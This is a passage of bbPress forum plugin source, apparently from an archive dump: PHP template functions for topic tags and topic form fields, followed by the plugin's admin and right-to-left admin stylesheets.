		'menu_name'                  => esc_attr__( 'Topic Tags',                      'bbpress' ),
		'singular_name'              => esc_attr__( 'Topic Tag',                       'bbpress' ),
		'search_items'               => esc_attr__( 'Search Tags',                     'bbpress' ),
		'popular_items'              => esc_attr__( 'Popular Tags',                    'bbpress' ),
		'all_items'                  => esc_attr__( 'All Tags',                        'bbpress' ),
		'parent_item'                => esc_attr__( 'Parent Tag',                      'bbpress' ),
		'parent_item_colon'          => esc_attr__( 'Parent Tag:',                     'bbpress' ),
		'edit_item'                  => esc_attr__( 'Edit Tag',                        'bbpress' ),
		'view_item'                  => esc_attr__( 'View Topic Tag',                  'bbpress' ),
		'update_item'                => esc_attr__( 'Update Tag',                      'bbpress' ),
		'add_new_item'               => esc_attr__( 'Add New Tag',                     'bbpress' ),
		'new_item_name'              => esc_attr__( 'New Tag Name',                    'bbpress' ),
		'separate_items_with_commas' => esc_attr__( 'Separate topic tags with commas', 'bbpress' ),
		'add_or_remove_items'        => esc_attr__( 'Add or remove tags',              'bbpress' ),
		'choose_from_most_used'      => esc_attr__( 'Choose from the most used tags',  'bbpress' ),
		'not_found'                  => esc_attr__( 'No topic tags found.',            'bbpress' ),
		'no_terms'                   => esc_attr__( 'No topic tags',                   'bbpress' ),
		'items_list_navigation'      => esc_attr__( 'Topic tags list navigation',      'bbpress' ),
		'items_list'                 => esc_attr__( 'Topic tags list',                 'bbpress' ),
		'most_used'                  => esc_attr__( 'Most used topic tags',            'bbpress' ),
		'back_to_items'              => esc_attr__( '&larr; Back to Tags',             'bbpress' )
	) );
}

/**
 * Return an array of topic-tag taxonomy rewrite settings
 *
 * @since 2.5.0 bbPress (r5129)
 *
 * @return array
 */
function bbp_get_topic_tag_tax_rewrite() {

	// Filter & return
	return (array) apply_filters( 'bbp_get_topic_tag_tax_rewrite', array(
		'slug'       => bbp_get_topic_tag_tax_slug(),
		'with_front' => false
	) );
}

/**
 * Output the id of the current tag
 *
 * @since 2.0.0 bbPress (r3109)
 *
 */
function bbp_topic_tag_id( $tag = '' ) {
	echo bbp_get_topic_tag_id( $tag );
}
	/**
	 * Return the id of the current tag
	 *
	 * @since 2.0.0 bbPress (r3109)
	 *
	 * @return string Term Name
	 */
	function bbp_get_topic_tag_id( $tag = '' ) {

		// Get the term
		if ( ! empty( $tag ) ) {
			$term = get_term_by( 'slug', $tag, bbp_get_topic_tag_tax_id() );
		} else {
			$tag  = get_query_var( 'term' );
			$term = get_queried_object();
		}

		// Get the term ID
		$retval = ! empty( $term->term_id )
			? $term->term_id
			: 0;

		// Filter & return
		return (int) apply_filters( 'bbp_get_topic_tag_id', (int) $retval, $tag, $term );
	}

/**
 * Output the name of the current tag
 *
 * @since 2.0.0 bbPress (r3109)
 */
function bbp_topic_tag_name( $tag = '' ) {
	echo bbp_get_topic_tag_name( $tag );
}
	/**
	 * Return the name of the current tag
	 *
	 * @since 2.0.0 bbPress (r3109)
	 *
	 * @return string Term Name
	 */
	function bbp_get_topic_tag_name( $tag = '' ) {

		// Get the term
		if ( ! empty( $tag ) ) {
			$term = get_term_by( 'slug', $tag, bbp_get_topic_tag_tax_id() );
		} else {
			$tag  = get_query_var( 'term' );
			$term = get_queried_object();
		}

		// Get the term name
		$retval = ! empty( $term->name )
			? $term->name
			: '';

		// Filter & return
		return apply_filters( 'bbp_get_topic_tag_name', $retval, $tag, $term );
	}

/**
 * Output the slug of the current tag
 *
 * @since 2.0.0 bbPress (r3109)
 */
function bbp_topic_tag_slug( $tag = '' ) {
	echo bbp_get_topic_tag_slug( $tag );
}
	/**
	 * Return the slug of the current tag
	 *
	 * @since 2.0.0 bbPress (r3109)
	 *
	 * @return string Term Name
	 */
	function bbp_get_topic_tag_slug( $tag = '' ) {

		// Get the term
		if ( ! empty( $tag ) ) {
			$term = get_term_by( 'slug', $tag, bbp_get_topic_tag_tax_id() );
		} else {
			$tag  = get_query_var( 'term' );
			$term = get_queried_object();
		}

		// Get the term slug
		$retval = ! empty( $term->slug )
			? $term->slug
			: '';

		// Filter & return
		return apply_filters( 'bbp_get_topic_tag_slug', $retval, $tag, $term );
	}

/**
 * Output the link of the current tag
 *
 * @since 2.0.0 bbPress (r3348)
 */
function bbp_topic_tag_link( $tag = '' ) {
	echo esc_url( bbp_get_topic_tag_link( $tag ) );
}
	/**
	 * Return the link of the current tag
	 *
	 * @since 2.0.0 bbPress (r3348)
	 *
	 * @return string Term Name
	 */
	function bbp_get_topic_tag_link( $tag = '' ) {

		// Get the term
		if ( ! empty( $tag ) ) {
			$term = get_term_by( 'slug', $tag, bbp_get_topic_tag_tax_id() );
		} else {
			$tag  = get_query_var( 'term' );
			$term = get_queried_object();
		}

		// Get the term link
		$retval = ! empty( $term->term_id )
			? get_term_link( $term, bbp_get_topic_tag_tax_id() )
			: '';

		// Filter & return
		return apply_filters( 'bbp_get_topic_tag_link', $retval, $tag, $term );
	}

/**
 * Output the link of the current tag
 *
 * @since 2.0.0 bbPress (r3348)
 */
function bbp_topic_tag_edit_link( $tag = '' ) {
	echo esc_url( bbp_get_topic_tag_edit_link( $tag ) );
}
	/**
	 * Return the link of the current tag
	 *
	 * @since 2.0.0 bbPress (r3348)
	 *
	 * @return string Term Name
	 */
	function bbp_get_topic_tag_edit_link( $tag = '' ) {

		// Get the term
		if ( ! empty( $tag ) ) {
			$term = get_term_by( 'slug', $tag, bbp_get_topic_tag_tax_id() );
		} else {
			$tag  = get_query_var( 'term' );
			$term = get_queried_object();
		}

		// Get the term's edit link
		if ( ! empty( $term->term_id ) ) {

			// Pretty or ugly URL
			$retval = bbp_use_pretty_urls()
				? user_trailingslashit( trailingslashit( bbp_get_topic_tag_link() ) . bbp_get_edit_slug() )
				: add_query_arg( array( bbp_get_edit_rewrite_id() => '1' ), bbp_get_topic_tag_link() );

		// No link
		} else {
			$retval = '';
		}

		// Filter & return
		return apply_filters( 'bbp_get_topic_tag_edit_link', $retval, $tag, $term );
	}

/**
 * Output the description of the current tag
 *
 * @since 2.0.0 bbPress (r3109)
 */
function bbp_topic_tag_description( $args = array() ) {
	echo bbp_get_topic_tag_description( $args );
}
	/**
	 * Return the description of the current tag
	 *
	 * @since 2.0.0 bbPress (r3109)
	 *
	 * @param array $args before|after|tag
	 *
	 * @return string Term Name
	 */
	function bbp_get_topic_tag_description( $args = array() ) {

		// Parse arguments against default values
		$r = bbp_parse_args( $args, array(
			'before' => '<div class="bbp-topic-tag-description"><p>',
			'after'  => '</p></div>',
			'tag'    => ''
		), 'get_topic_tag_description' );

		// Get the term
		if ( ! empty( $r['tag'] ) ) {
			$term = get_term_by( 'slug', $r['tag'], bbp_get_topic_tag_tax_id() );
		} else {
			$tag  = $r['tag'] = get_query_var( 'term' );
			$term = get_queried_object();
		}

		// Add before & after if description exists
		$retval = ! empty( $term->description )
			? $r['before'] . $term->description . $r['after']
			: '';

		// Filter & return
		return apply_filters( 'bbp_get_topic_tag_description', $retval, $r, $args, $tag, $term );
	}

/** Forms *********************************************************************/

/**
 * Output the value of topic title field
 *
 * @since 2.0.0 bbPress (r2976)
 */
function bbp_form_topic_title() {
	echo bbp_get_form_topic_title();
}
	/**
	 * Return the value of topic title field
	 *
	 * @since 2.0.0 bbPress (r2976)
	 *
	 * @return string Value of topic title field
	 */
	function bbp_get_form_topic_title() {

		// Get _POST data
		if ( bbp_is_topic_form_post_request() && isset( $_POST['bbp_topic_title'] ) ) {
			$topic_title = wp_unslash( $_POST['bbp_topic_title'] );

		// Get edit data
		} elseif ( bbp_is_topic_edit() ) {
			$topic_title = bbp_get_global_post_field( 'post_title', 'raw' );

		// No data
		} else {
			$topic_title = '';
		}

		// Filter & return
		return apply_filters( 'bbp_get_form_topic_title', $topic_title );
	}

/**
 * Output the value of topic content field
 *
 * @since 2.0.0 bbPress (r2976)
 */
function bbp_form_topic_content() {
	echo bbp_get_form_topic_content();
}
	/**
	 * Return the value of topic content field
	 *
	 * @since 2.0.0 bbPress (r2976)
	 *
	 * @return string Value of topic content field
	 */
	function bbp_get_form_topic_content() {

		// Get _POST data
		if ( bbp_is_topic_form_post_request() && isset( $_POST['bbp_topic_content'] ) ) {
			$topic_content = wp_unslash( $_POST['bbp_topic_content'] );

		// Get edit data
		} elseif ( bbp_is_topic_edit() ) {
			$topic_content = bbp_get_global_post_field( 'post_content', 'raw' );

		// No data
		} else {
			$topic_content = '';
		}

		// Filter & return
		return apply_filters( 'bbp_get_form_topic_content', $topic_content );
	}

/**
 * Allow topic rows to have administrative actions
 *
 * @since 2.1.0 bbPress (r3653)
 *
 * @todo Links and filter
 */
function bbp_topic_row_actions() {
	do_action( 'bbp_topic_row_actions' );
}

/**
 * Output value of topic tags field
 *
 * @since 2.0.0 bbPress (r2976)
 */
function bbp_form_topic_tags() {
	echo bbp_get_form_topic_tags();
}
	/**
	 * Return value of topic tags field
	 *
	 * @since 2.0.0 bbPress (r2976)
	 *
	 * @return string Value of topic tags field
	 */
	function bbp_get_form_topic_tags() {

		// Default return value
		$topic_tags = '';

		// Get _POST data
		if ( ( bbp_is_topic_form_post_request() || bbp_is_reply_form_post_request() ) && isset( $_POST['bbp_topic_tags'] ) ) {
			$topic_tags = wp_unslash( $_POST['bbp_topic_tags'] );

		// Get edit data
		} elseif ( bbp_is_single_topic() || bbp_is_single_reply() || bbp_is_topic_edit() || bbp_is_reply_edit() ) {

			// Determine the topic id based on the post type
			switch ( get_post_type() ) {

				// Post is a topic
				case bbp_get_topic_post_type() :
					$topic_id = bbp_get_topic_id( get_the_ID() );
					break;

				// Post is a reply
				case bbp_get_reply_post_type() :
					$topic_id = bbp_get_reply_topic_id( get_the_ID() );
					break;
			}

			// Topic exists
			if ( ! empty( $topic_id ) ) {

				// Topic is spammed so display pre-spam terms
				if ( bbp_is_topic_spam( $topic_id ) ) {

					// Get pre-spam terms
					$spam_terms = get_post_meta( $topic_id, '_bbp_spam_topic_tags', true );
					$topic_tags = ( ! empty( $spam_terms ) ) ? implode( ', ', $spam_terms ) : '';

				// Topic is not spam so get real terms
				} else {
					$topic_tags = bbp_get_topic_tag_names( $topic_id );
				}
			}
		}

		// Filter & return
		return apply_filters( 'bbp_get_form_topic_tags', $topic_tags );
	}

/**
 * Output value of topic forum
 *
 * @since 2.0.0 bbPress (r2976)
 */
function bbp_form_topic_forum() {
	echo bbp_get_form_topic_forum();
}
	/**
	 * Return value of topic forum
	 *
	 * @since 2.0.0 bbPress (r2976)
	 *
	 * @return string Value of topic content field
	 */
	function bbp_get_form_topic_forum() {

		// Get _POST data
		if ( bbp_is_topic_form_post_request() && isset( $_POST['bbp_forum_id'] ) ) {
			$topic_forum = (int) $_POST['bbp_forum_id'];

		// Get edit data
		} elseif ( bbp_is_topic_edit() ) {
			$topic_forum = bbp_get_topic_forum_id();

		// No data
		} else {
			$topic_forum = 0;
		}

		// Filter & return
		return apply_filters( 'bbp_get_form_topic_forum', $topic_forum );
	}

/**
 * Output checked value of topic subscription
 *
 * @since 2.0.0 bbPress (r2976)
 */
function bbp_form_topic_subscribed() {
	echo bbp_get_form_topic_subscribed();
}
	/**
	 * Return checked value of topic subscription
	 *
	 * @since 2.0.0 bbPress (r2976)
	 *
	 * @return string Checked value of topic subscription
	 */
	function bbp_get_form_topic_subscribed() {

		// Default value
		$topic_subscribed = false;

		// Get _POST data
		if ( bbp_is_topic_form_post_request() && isset( $_POST['bbp_topic_subscription'] ) ) {
			$topic_subscribed = (bool) $_POST['bbp_topic_subscription'];

		// Get edit data
		} elseif ( bbp_is_topic_edit() || bbp_is_reply_edit() ) {
			$post_author      = (int) bbp_get_global_post_field( 'post_author', 'raw' );
			$topic_subscribed = bbp_is_user_subscribed( $post_author, bbp_get_topic_id() );

		// Get current status
		} elseif ( bbp_is_single_topic() ) {
			$topic_subscribed = bbp_is_user_subscribed( bbp_get_current_user_id(), bbp_get_topic_id() );
		}

		// Get checked output
		$checked = checked( $topic_subscribed, true, false );

		// Filter & return
		return apply_filters( 'bbp_get_form_topic_subscribed', $checked, $topic_subscribed );
	}

/**
 * Output checked value of topic log edit field
 *
 * @since 2.0.0 bbPress (r2976)
 */
function bbp_form_topic_log_edit() {
	echo bbp_get_form_topic_log_edit();
}
	/**
	 * Return checked value of topic log edit field
	 *
	 * @since 2.0.0 bbPress (r2976)
	 *
	 * @return string Topic log edit checked value
	 */
	function bbp_get_form_topic_log_edit() {

		// Get _POST data
		if ( bbp_is_topic_form_post_request() && isset( $_POST['bbp_log_topic_edit'] ) ) {
			$topic_revision = (bool) $_POST['bbp_log_topic_edit'];

		// No data
		} else {
			$topic_revision = true;
		}

		// Get checked output
		$checked = checked( $topic_revision, true, false );

		// Filter & return
		return apply_filters( 'bbp_get_form_topic_log_edit', $checked, $topic_revision );
	}

/**
 * Output the value of the topic edit reason
 *
 * @since 2.0.0 bbPress (r2976)
 */
function bbp_form_topic_edit_reason() {
	echo bbp_get_form_topic_edit_reason();
}
	/**
	 * Return the value of the topic edit reason
	 *
	 * @since 2.0.0 bbPress (r2976)
	 *
	 * @return string Topic edit reason value
	 */
	function bbp_get_form_topic_edit_reason() {

		// Get _POST data
		if ( bbp_is_topic_form_post_request() && isset( $_POST['bbp_topic_edit_reason'] ) ) {
			$topic_edit_reason = wp_unslash( $_POST['bbp_topic_edit_reason'] );

		// No data
		} else {
			$topic_edit_reason = '';
		}

		// Filter & return
		return apply_filters( 'bbp_get_form_topic_edit_reason', $topic_edit_reason );
	}

/**
 * Verify if a POST request came from a failed topic attempt.
 *
 * Used to avoid cross-site request forgeries when checking posted topic form
 * content.
 *
 * @see bbp_topic_form_fields()
 *
 * @since 2.6.0 bbPress (r5558)
 *
 * @return boolean True if is a post request with valid nonce
 */
function bbp_is_topic_form_post_request() {

	// Bail if not a post request
	if ( ! bbp_is_post_request() ) {
		return false;
	}

	// Creating a new topic
	if ( bbp_verify_nonce_request( 'bbp-new-topic' ) ) {
		return true;
	}

	// Editing an existing topic
	if ( bbp_verify_nonce_request( 'bbp-edit-topic_' . bbp_get_topic_id() ) ) {
		return true;
	}

	return false;
}

/** Warning *******************************************************************/

/**
 * Should the topic-lock alert appear?
 *
 * @since 2.6.0 bbPress (r6342)
 *
 * @return bool
 */
function bbp_show_topic_lock_alert() {

	// Default to not showing the alert
	$retval = false;

	// Get the current topic ID
	$topic_id = bbp_get_topic_id();

	// Only show on single topic pages
	if ( bbp_is_topic_edit() || bbp_is_single_topic() ) {

		// Only show to moderators
		if ( current_user_can( 'moderate', $topic_id ) ) {

			// Locked?
			$user_id = bbp_check_post_lock( $topic_id );

			// Only show if not locked by the current user
			if ( ! empty( $user_id ) && ( bbp_get_current_user_id() !== $user_id ) ) {
				$retval = true;
			}
		}
	}

	// Filter & return
	return (bool) apply_filters( 'bbp_show_topic_lock_alert', $retval, $topic_id );
}

/**
 * Output the topic lock description
 *
 * @since 2.6.0 bbPress (r6343)
 *
 * @param int $topic_id Optional. Topic id
 */
function bbp_topic_lock_description( $topic_id = 0 ) {
	echo bbp_get_topic_lock_description( $topic_id );
}
	/**
	 * Return the topic lock description
	 *
	 * @since 2.6.0 bbPress (r6343)
	 *
	 * @param int $topic_id Optional. Topic id
	 */
	function bbp_get_topic_lock_description( $topic_id = 0 ) {

		// Check if topic is edit locked
		$topic_id = bbp_get_topic_id( $topic_id );
		$user_id  = bbp_check_post_lock( $topic_id );
		$person   = empty( $user_id )
			? esc_html__( 'Nobody', 'bbpress' )
			: bbp_get_user_profile_link( $user_id );

		// Get the text
		$text = sprintf( esc_html__( '%1$s is currently editing this topic.', 'bbpress' ), $person );

		// Filter & return
		return apply_filters( 'bbp_get_topic_lock_description', $text, $user_id, $topic_id );
	}
includes/admin/assets/css/admin-rtl.css000066600000026524151771460310014157 0ustar00
/* Kludge for too-wide forums dropdown */
#poststuff #bbp_forum_attributes select#parent_id,
#poststuff #bbp_topic_attributes select#parent_id,
#poststuff #bbp_reply_attributes select#bbp_forum_id,
#poststuff #bbp_reply_attributes select#bbp_reply_to {
	max-width: 170px;
}

/* Version Badge */

.bbp-badge {
	transform-origin: top right;
	animation: swoop 16s infinite linear;
}

.bbp-bee {
	font: 400 80px/1 dashicons !important;
	color: #000;
	position: absolute;
	height: 60px;
	width: 60px;
}

.bbp-hive {
	font: 400 150px/1 dashicons !important;
	color: #ccc;
	position: absolute;
	height: 150px;
	width: 150px;
	top: 0;
	left: 0;
	display: block;
}

.bbp-bee::before {
	content: "\f451";
}

.bbp-hive::before {
	content: "\f449";
}

.notice-bbpress {
	border-right: 4px solid #78cd95;
	padding-right: 36px;
	background-color: rgb(235, 255, 235);
	position: relative;
}

.notice-bbpress .bbpress-logo-icon {
	position: absolute;
	height: auto;
	width: auto;
	padding: 7px 9px;
	top: 50%;
	right: 0;
	transform: translateY(-50%);
	font: 400 24px/1 dashicons !important;
}

.notice-bbpress .bbpress-logo-icon::before {
	content: "\f477";
	color: #555;
}

@keyframes buzz {

	0% {
		left: -2px;
		top: -1px;
	}

	25% {
		left: 1px;
		top: 2px;
	}

	50% {
		left: -3px;
		top: -1px;
	}

	75% {
		left: 2px;
		top: 1px;
	}

	0% {
		left: -2px;
		top: -1px;
	}
}

@keyframes swoop {

	0% {
		transform: rotate(-95deg);
	}

	100% {
		transform: rotate(-455deg);
	}
}

.about-wrap .bbp-badge {
	position: absolute;
	left: 50px;
	top: 50px;
	height: 25px;
	width: 25px;
}

body.rtl .about-wrap .bbp-badge {
	left: auto;
	right: 50px;
}

/* Dashicons */

th .bbp_forums_column::before,
#dashboard_right_now a.bbp-glance-forums::before,
#adminmenu #menu-posts-forum .wp-menu-image::before {
	content: "\f449";
}

th .bbp_topics_column::before,
#dashboard_right_now a.bbp-glance-topics::before,
#adminmenu #menu-posts-topic .wp-menu-image::before {
	content: "\f450";
}

th .bbp_replies_column::before,
#dashboard_right_now a.bbp-glance-replies::before,
#adminmenu #menu-posts-reply .wp-menu-image::before {
	content: "\f451";
}

#dashboard_right_now a.bbp-glance-topic-tags::before {
	content: "\f323";
}

#dashboard_right_now a.bbp-glance-users::before {
	content: "\f110";
}

th .bbp_forums_column,
th .bbp_topics_column,
th .bbp_replies_column {
	height: 16px;
	width: 16px;
}

th .bbp_forums_column::before,
th .bbp_topics_column::before,
th .bbp_replies_column::before {
	font: 400 20px/0.5 dashicons;
	speak: none;
	display: inline-block;
	padding: 0;
	top: 4px;
	right: -4px;
	position: relative;
	vertical-align: top;
	-webkit-font-smoothing: antialiased;
	-moz-osx-font-smoothing: grayscale;
	text-decoration: none !important;
	color: #444;
}

/* Deprecated Dashboard Metabox */

#bbp-dashboard-right-now p.sub,
#bbp-dashboard-right-now .table,
#bbp-dashboard-right-now .versions {
	margin: -12px;
}

#bbp-dashboard-right-now .inside {
	font-size: 12px;
	padding-top: 20px;
	margin-bottom: 0;
}

#bbp-dashboard-right-now p.sub {
	padding: 5px 0 15px;
	color: #8f8f8f;
	font-size: 14px;
	position: absolute;
	top: -17px;
	right: 15px;
}

body.rtl #bbp-dashboard-right-now p.sub {
	left: 15px;
	right: 0;
}

#bbp-dashboard-right-now .table {
	margin: 0;
	padding: 0;
	position: relative;
}

#bbp-dashboard-right-now .table_content {
	float: right;
	border-top: #ececec 1px solid;
	width: 45%;
}

body.rtl #bbp-dashboard-right-now .table_content {
	float: left;
}

#bbp-dashboard-right-now .table_discussion {
	float: left;
	border-top: #ececec 1px solid;
	width: 45%;
}

body.rtl #bbp-dashboard-right-now .table_discussion {
	float: right;
}

#bbp-dashboard-right-now table td {
	padding: 3px 0;
	white-space: nowrap;
}

#bbp-dashboard-right-now table tr.first td {
	border-top: none;
}

#bbp-dashboard-right-now td.b {
	padding-left: 6px;
	text-align: left;
	font-family: Georgia, "Times New Roman", "Bitstream Charter", Times, serif;
	font-size: 14px;
	width: 1%;
}

body.rtl #bbp-dashboard-right-now td.b {
	padding-right: 6px;
	padding-left: 0;
}

#bbp-dashboard-right-now td.b a {
	font-size: 18px;
}

#bbp-dashboard-right-now td.b a:hover {
	color: #d54e21;
}

#bbp-dashboard-right-now .t {
	font-size: 12px;
	padding-left: 12px;
	padding-top: 6px;
	color: #777;
}

body.rtl #bbp-dashboard-right-now .t {
	padding-right: 12px;
	padding-left: 0;
}

#bbp-dashboard-right-now .t a {
	white-space: nowrap;
}

#bbp-dashboard-right-now .spam {
	color: #f00;
}

#bbp-dashboard-right-now .waiting {
	color: #e66f00;
}

#bbp-dashboard-right-now .approved {
	color: #0f0;
}

#bbp-dashboard-right-now .versions {
	padding: 6px 10px 12px;
	clear: both;
}

#bbp-dashboard-right-now .versions .b {
	font-weight: 700;
}

#bbp-dashboard-right-now a.button {
	float: left;
	clear: left;
	position: relative;
	top: -5px;
}

body.rtl #bbp-dashboard-right-now a.button {
	float: right;
	clear: right;
}

/* List Tables */

body.post-type-forum #minor-publishing,
body.post-type-forum #save-post {
	display: none;
}

body.post-type-forum strong.label,
body.post-type-topic strong.label,
body.post-type-reply strong.label {
	display: inline-block;
	width: 60px;
}

.column-bbp_forum_topic_count,
.column-bbp_forum_reply_count,
.column-bbp_topic_reply_count,
.column-bbp_topic_voice_count {
	width: 8% !important;
}

.column-author,
.column-bbp_forum_mods,
.column-bbp_reply_author,
.column-bbp_topic_author {
	width: 10% !important;
}

.column-bbp_topic_forum,
.column-bbp_reply_forum,
.column-bbp_reply_topic {
	width: 10% !important;
}

.column-bbp_forum_freshness,
.column-bbp_topic_freshness {
	width: 10% !important;
}

.column-bbp_user_role,
.column-bbp_forum_created,
.column-bbp_topic_created,
.column-bbp_reply_created {
	width: 15% !important;
}

.column-bbp_topic_reply_author,
.column-bbp_forum_topic_author {
	width: 25% !important;
}

.column-bbp_topic_reply_author .avatar,
.column-bbp_forum_topic_author .avatar {
	float: right;
	margin-left: 10px;
}

#bbp_moderators {
	width: 100%;
}

#bbp_forum_attributes hr {
	border-style: solid;
	border-width: 1px;
	border-color: #ccc #ccc #fff #fff;
}

body.post-type-forum #the-list .status-closed,
body.post-type-topic #the-list .status-closed,
body.post-type-reply #the-list .status-closed {
	background-color: #f5f5f5;
}

body.post-type-forum #the-list .status-closed:nth-child(odd),
body.post-type-topic #the-list .status-closed:nth-child(odd),
body.post-type-reply #the-list .status-closed:nth-child(odd) {
	background-color: #f0f0f0;
}

body.post-type-forum #the-list .status-spam,
body.post-type-topic #the-list .status-spam,
body.post-type-reply #the-list .status-spam,
#bbp-reply-list .status-trash {
	background-color: #fee;
}

body.post-type-forum #the-list .status-spam:nth-child(odd),
body.post-type-topic #the-list .status-spam:nth-child(odd),
body.post-type-reply #the-list .status-spam:nth-child(odd),
#bbp-reply-list .status-trash:nth-child(odd) {
	background-color: #fdd;
}

body.post-type-forum #the-list .status-pending,
body.post-type-topic #the-list .status-pending,
body.post-type-reply #the-list .status-pending {
	background-color: #fff2e8;
}

body.post-type-forum #the-list .status-pending:nth-child(odd),
body.post-type-topic #the-list .status-pending:nth-child(odd),
body.post-type-reply #the-list .status-pending:nth-child(odd) {
	background-color: #fff7f1;
}

body.post-type-forum #the-list .status-closed td,
body.post-type-topic #the-list .status-closed td,
body.post-type-reply #the-list .status-closed td,
body.post-type-forum #the-list .status-spam td,
body.post-type-topic #the-list .status-spam td,
body.post-type-reply #the-list .status-spam td,
#bbp-reply-list .status-trash td {
	color: #999;
}

body.post-type-forum #the-list .row-actions .unspam a,
body.post-type-topic #the-list .row-actions .unspam a,
body.post-type-reply #the-list .row-actions .unspam a,
body.post-type-forum #the-list .row-actions .approved a,
body.post-type-topic #the-list .row-actions .approved a,
body.post-type-reply #the-list .row-actions .approved a {
	color: #006505;
}

/* User Relationships */

#bbp_topic_engagements_metabox .avatar,
#bbp_topic_favorites_metabox .avatar,
#bbp_topic_subscriptions_metabox .avatar {
	margin: 3px;
}

/* Converter */

.bbp-converter-settings-wrap {
	float: right;
	width: 55%;
}

#poststuff.bbp-converter-monitor-wrap {
	float: left;
	width: 43%;
	margin-right: 2%;
	min-width: 200px;
}

#bbp-converter-monitor h2 {
	position: relative;
}

#bbp-converter-monitor .inside {
	margin: 0;
	padding: 5px;
	border-bottom: 1px solid #e5e5e5;
}

#bbp-converter-monitor div.actions {
	padding: 10px;
	background: #fafafa;
	clear: both;
}

#bbp-converter-spinner {
	margin: 4px 0;
}

div.bbp-converter-log,
div.bbp-converter-warning {
	padding: 5px 5px 5px 0;
}

div.bbp-converter-log.started {
	height: 300px;
	overflow: auto;
}

div.bbp-converter-log p {
	margin: 0;
	padding: 2px;
}

div.bbp-converter-log p:only-child {
	float: none;
	margin-bottom: 0;
}

div.bbp-converter-log div {
	padding: 10px;
	margin: 5px;
	background: #f4f4f4;
	border: 1px solid #ddd;
}

div.bbp-converter-log div code {
	margin-top: 5px;
	display: block;
}

div.bbp-converter-log .step {
	text-align: left;
	font-weight: 600;
}

div.bbp-converter-log .output {
	margin: 0 5px;
}

div.bbp-converter-log .mini-step {
	padding: 3px 5px;
	vertical-align: middle;
	font-size: 8px;
	font-weight: 600;
	border-radius: 6px;
	background-color: #aaa;
	color: #fff;
}

#bbp-converter-monitor .bbp-progress-bar {
	position: absolute;
	right: 0;
	height: 1px;
	width: 0;
	background-color: #00b9eb;
	transition-property: width;
	transition-timing-function: ease-out;
	transition-duration: 1s;
}

#bbp-converter-monitor #bbp-converter-step-percentage {
	bottom: 1px;
}

#bbp-converter-monitor #bbp-converter-total-percentage {
	bottom: 0;
}

#bbp-converter-stop {
	display: none;
}

#bbp-converter-status {
	font-weight: 400;
	font-size: 12px;
	color: #aaa;
	display: block;
	margin-top: 2px;
}

.bbp-converter-db-password-wrapper {
	display: inline-block;
	position: relative;
}

.bbp-converter-db-pass::-webkit-credentials-auto-fill-button {
	display: none;
	visibility: hidden;
	pointer-events: none;
	position: absolute;
	left: 0;
}

button.bbp-db-pass-toggle {
	border: none;
	background: transparent;
	position: absolute;
	left: 3px;
	top: 3px;
	padding: 0;
	margin: 0;
	cursor: pointer;
	color: #aaa;
	height: 25px;
	width: 25px;
	font: 400 20px/1 dashicons !important;
}

button.bbp-db-pass-toggle:hover {
	color: #888;
}

button.bbp-db-pass-toggle.text::after {
	content: "\f530";
}

button.bbp-db-pass-toggle.password::after {
	content: "\f177";
}

@media screen and ( max-width: 782px ) {

	.bbp-converter-db-password-wrapper {
		width: 100%;
	}

	#poststuff.bbp-converter-monitor-wrap,
	.bbp-converter-settings-wrap {
		float: none;
		width: 100%;
		margin: 20px 0;
	}

	button.bbp-db-pass-toggle {
		height: 35px;
		width: 35px;
		font: 400 20px/1 dashicons !important;
	}
}

/* Tools */

td.bbp-tool-title strong {
	display: block;
}

td.bbp-tool-title p {
	margin: 0;
}

.manage-column.column-components {
	width: 20%;
}

.manage-column.column-version {
	width: 11%;
}

.manage-column.column-overhead {
	width: 13%;
}

.nav-tab-wrapper a span.awaiting-mod {
	display: inline-block;
	vertical-align: top;
	margin: 3px 1px 0 0;
	padding: 0 5px;
	min-width: 7px;
	height: 17px;
	border-radius: 11px;
	background-color: #ca4a1f;
	color: #fff;
	font-size: 9px;
	line-height: 17px;
	text-align: center;
	z-index: 26;
}

/* Retro TV corners for contributor avatars */
.dashboard_page_bbp-credits .wp-person img {
	border-radius: 20px;
}
includes/admin/assets/css/admin.css000066600000026527151771460310013363 0ustar00
/* Kludge for too-wide forums dropdown */
#poststuff #bbp_forum_attributes select#parent_id,
#poststuff #bbp_topic_attributes select#parent_id,
#poststuff #bbp_reply_attributes select#bbp_forum_id,
#poststuff #bbp_reply_attributes select#bbp_reply_to {
	max-width: 170px;
}

/* Version Badge */

.bbp-badge {
	transform-origin: top left;
	animation: swoop 16s infinite linear;
}

.bbp-bee {
	font: 400 80px/1 dashicons !important;
	color: #000;
	position: absolute;
	height: 60px;
	width: 60px;
}

.bbp-hive {
	font: 400 150px/1 dashicons !important;
	color: #ccc;
	position: absolute;
	height: 150px;
	width: 150px;
	top: 0;
	right: 0;
	display: block;
}

.bbp-bee::before {
	content: "\f451";
}

.bbp-hive::before {
	content: "\f449";
}

.notice-bbpress {
	border-left: 4px solid #78cd95;
	padding-left: 36px;
	background-color: rgb(235, 255, 235);
	position: relative;
}

.notice-bbpress .bbpress-logo-icon {
	position: absolute;
	height: auto;
	width: auto;
	padding: 7px 9px;
	top: 50%;
	left: 0;
	transform: translateY(-50%);
	font: 400 24px/1 dashicons !important;
}

.notice-bbpress .bbpress-logo-icon::before {
	content: "\f477";
	color: #555;
}

@keyframes buzz {

	0% {
		right: -2px;
		top: -1px;
	}

	25% {
		right: 1px;
		top: 2px;
	}

	50% {
		right: -3px;
		top: -1px;
	}

	75% {
		right: 2px;
		top: 1px;
	}

	0% {
		right: -2px;
		top: -1px;
	}
}

@keyframes swoop {

	0% {
		transform: rotate(95deg);
	}

	100% {
		transform: rotate(455deg);
	}
}

.about-wrap .bbp-badge {
	position: absolute;
	right: 50px;
	top: 50px;
	height: 25px;
	width: 25px;
}

body.rtl .about-wrap .bbp-badge {
	right: auto;
	left: 50px;
}

/* Dashicons */

th .bbp_forums_column::before,
#dashboard_right_now a.bbp-glance-forums::before,
#adminmenu #menu-posts-forum .wp-menu-image::before {
	content: "\f449";
}

th .bbp_topics_column::before,
#dashboard_right_now a.bbp-glance-topics::before,
#adminmenu #menu-posts-topic .wp-menu-image::before {
	content: "\f450";
}

th .bbp_replies_column::before,
#dashboard_right_now a.bbp-glance-replies::before,
#adminmenu #menu-posts-reply .wp-menu-image::before {
	content: "\f451";
}

#dashboard_right_now a.bbp-glance-topic-tags::before {
	content: "\f323";
}

#dashboard_right_now a.bbp-glance-users::before {
	content: "\f110";
}

th .bbp_forums_column,
th .bbp_topics_column,
th .bbp_replies_column {
	height: 16px;
	width: 16px;
}

th .bbp_forums_column::before,
th .bbp_topics_column::before,
th .bbp_replies_column::before {
